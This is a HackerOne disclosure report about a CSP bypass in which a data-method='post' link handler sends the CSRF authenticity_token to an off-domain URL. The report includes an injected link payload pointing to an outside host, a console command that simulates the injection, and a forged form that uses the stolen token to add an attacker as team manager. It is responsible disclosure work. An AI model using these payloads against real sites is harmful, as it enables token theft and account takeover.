HackerOne: CSP Bypass: Click handler for links with data-method="post" can cause authenticity_token to be sent off domain

2015-02-11T20:03:01
ID H1:47472
Type hackerone
Reporter danlec
Modified 2015-02-26T21:50:46

Description

Background

  • There has been at least one case where an attacker was able to insert arbitrary HTML into a submitted report
  • HackerOne uses a very strict Content Security Policy that prevents inline script and script from other origins
  • HackerOne uses an authenticity_token in its POSTs to guard against CSRF attacks
  • There is a click handler for links with adata-method attribute that makes it so an <a> tag with a data-method="post" will send the CSRF token in a POST to the href of the link, even if the target is a different origin

Proof of concept

  1. Suppose that someone is able to find an exploit similar to #46072, allowing them to insert arbitrary HTML into a report, and they insert the following payload: <a href="http://danlec.com" data-method="post">Proof of Concept</a> Since I'm not currently aware of a means of doing this, we'll have to simulate this by running the following from the console: $(".hacktivity-container-content:first") .html('<p><a href="http://danlec.com" data-method="post">Click Me!</a></p>') (Yes, in general security reports involving the victim running code on the console are highly suspect. Please bear with me.)

  2. When the victim clicks the link, the current authenticity_token is sent to <http://danlec.com>. You can inspect the headers that are sent, or have the link be <http://httpbin.org/post> which will echo the headers that it was sent.

  3. Using the authenticity_token it was provided, the target of the link could automatically submit a form like the following on the victim's behalf: &lt;form method="POST" action="https://hackerone.com/danlec-test/team_members" target="_blank"&gt; &lt;input type="text" name="authenticity_token" value="authenticity_token from the POST to this page"&gt; &lt;input type="text" name="invitations_team_member[email]" value="attacker@gmail.com"&gt; &lt;input type="hidden" name="team_member[add_as_manager]" value="1"&gt; &lt;input type="hidden" name="utf8" value="✓"&gt; &lt;input type="hidden" name="commit" value="Send invite"&gt; &lt;input type="submit"&gt; &lt;/form&gt;

It would make sense if the click handler for links with a data-method attribute only ran for links to URLs with the same origin, especially in situations warranting a strict Content Security Policy.